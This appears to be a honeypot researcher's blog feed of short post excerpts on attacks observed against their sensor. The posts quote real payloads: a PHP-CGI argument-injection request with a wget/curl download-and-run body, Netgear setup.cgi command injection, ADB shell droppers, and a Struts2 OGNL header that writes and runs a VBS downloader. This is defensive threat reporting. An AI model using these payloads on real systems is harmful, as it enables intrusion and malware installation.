Researching network security

CGI-BIN PHP Cleaner, Ostensibly

Here’s another version of the Netgear DGN bug being used recently - an attack against webservers that have php executable under cgi-bin. The POST request URL looks like: //cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E Which translates to: //cgi-bin/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-d+auto_prepend_file=php://input+-n The body of the request is then: <? system("cd /tmp ; wget hxxp:// ; curl -O hxxp:// ; fetch hxxp:// ; chmod +x clean ; ./clean ; rm -rf clean* ; history -c "); ?> That “clean” script actually begins by cleaning up things some other recent versions of the exploit have left behind… It kills xmrig, minerd, and several other things that look like part of earlier attacks.

ADB Shell Attacks

On 10 July some new reports of fresh attacks against TCP 5555 came out. These attacks died out quickly as the download server died out. Telekom Security reported the abuse to the cloud service provider, temporarily halting infections. Now, it’s back! New download site, new download site, same attack. 434e584e000000010010000007000000 CNXN............ 32020000bcb1a7b1686f73743a3a004f 50454e5802000000000000f200000017 PENX............ 4a0000b0afbab17368656c6c3a3e2f73>/s 64636172642f446f776e6c6f61642f66 dcard/Download/f 202626206364202f7364636172642f44 && cd /sdcard/D 6f776e6c6f61642f3b203e2f6465762f ownload/; >/dev/ 66202626206364202f6465762f3b203e f && cd /dev/; > 2f646174612f6c6f63616c2f746d702f /data/local/tmp/ 66202626206364202f646174612f6c6f f && cd /data/lo 63616c2f746d702f3b2062757379626f cal/tmp/; busybo 78207767657420687474703a2f2f3138 x wget hxxp://18 352e36322e3138392e3134392f616462 5.

Exploitation of an Old Netgear Bug, Popular Again

Just a ton of what Glastopf reports as remote file inclusion attacks happened overnight, all of one similar type. Almost exactly 700 exploitation attempts using the vulnerability exploited here. Requests that would redirect a Netgear device back to one of 3 different download servers came from 37 unique IP addresses, suggesting a good amount of success exploiting this old vulnerability. /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+hxxp://;sh+mips&curpath=/&currentsetting.htm=1 /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+hxxp://;sh+gang&curpath=/&currentsetting.htm=1 /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+hxxp://;sh+netgear&curpath=/&currentsetting.htm=1 None of those download points are returning files at this time, unfortunately.

Disinvited by User Agent Retry - Windows

Finally, a chance to grab the Windows binaries that eluded me in my previous attempts during Disinvited By User Agent. I had the same attack probing my server this morning attempting to download and execute a Windows script, but this time I determined the correct user agent for the .Net WebClient class - it’s blank. The class, by default, doesn’t send any headers… curl -A “” hxxp:// -o checking.ps1 $W = New-Object System.

Attacks Spreading Cryptocoin Miners

This morning showed similar behavior to “attacks spreading cryptocoin miners”, but with new URL names and domains, choosing slightly less-obvious domains. Today the attack came from The download domain is, which at least doesn’t contain the term “zero-day” this time. This is a TOR proxy, enabling connections to TOR “dark-web” sites from the regular web. It then downloads files from will give some file information just based on the URL…

Attack Targeting struts2-rest-showcase

I see some interesting exploitation over port 80 to struts2-rest-showcase/orders.xhtml: Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cmd /c del C:/Windows/temp/searsvc.vbs&echo Set Post = CreateObject("Msxml2.XMLHTTP") >>C:/Windows/temp/searsvc.vbs&echo Set Shell = CreateObject("Wscript.Shell") >>C:/Windows/temp/searsvc.vbs&echo Post.Open "GET","hxxp://",0 >>C:/Windows/temp/searsvc.vbs&echo Post.Send() >>C:/Windows/temp/searsvc.vbs&echo Set aGet = CreateObject("ADODB.Stream") >>C:/Windows/temp/searsvc.vbs&echo aGet.Mode = 3 >>C:/Windows/temp/searsvc.vbs&echo aGet.Type = 1 >>C:/Windows/temp/searsvc.vbs&echo aGet.Open() >>C:/Windows/temp/searsvc.vbs&echo aGet.Write(Post.responseBody) >>C:/Windows/temp/searsvc.vbs&echo aGet.SaveToFile "C:/Windows/temp/esentur.exe",2 >>C:/Windows/temp/searsvc.vbs&echo wscript.sleep 10000>>C:/Windows/temp/searsvc.vbs&echo Shell.Run ("C:/Windows/temp/esentur.exe")>>C:/Windows/temp/searsvc.vbs&C:/Windows/temp/searsvc.vbs').(#iswin=(@java.lang.System@getProperty('').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(,#ros)).(#ros.flush())} It looks like this is abusing some mishandling of a content type, to write a vbs script that downloads hxxp://a46.

Notes about SIP Connections

Something that requires more study for me: SIP connections. SIP is a portion of the Voice over IP (VOIP) protocol. Most are from a scanner called sipvicious, but after the obvious sipvicious connections behind there are a number of interesting ones remaining. They seem to be probes of SIP capabilities at a remote address, which is similar to traffic at every other port. There are some more interesting requests though - I saw one the other day requesting a connection to a specific 10.

Strange POST Requests...

Strange POST requests are directed at Glastopf… Several IP addresses have sent requests to random looking URLs ending in .php, URLs that are unlikely to exist anywhere unless someone specifically places them. They contain POST data like: ip=\\my_ip\\&port=8080&uuid=8cd96698-3207-49bb-a815-e0fb979c4a16 ip=\\my_ip\\&port=8080&uuid=c0aac97a-371f-4864-aaf1-c4afacbdbccf These are directed towards host, with a variety of useragent strings, including: BlackBerry9000/ Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/102 Mozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; da-dk) AppleWebKit/533.

Disinvited from a URL by User-Agent

I have to check this thing every day or I miss something. It’s not every day that I see something new - most days are the same things I’ve already seen and new copies of malware that’s basically the same as the old. This morning, however, I witnessed a tactic I had wondered if anyone considered employing in the past, but hadn’t actually observed evidence of. I had traffic showing an attacker attempting to exploit CVE-2017-10271, dropping software from hxxp://107.

Attack Movement

It’s strange how attacks seem to move around on a weekly/monthly basis. Up until recently I saw a number of attacks against GPON, and today I don’t see a single one. There is some probability in this - I occupy only a small amount of IP space, so with a given number of attackers throwing a given number of attacks per second, some portion of the IP space less than 100% will be hit.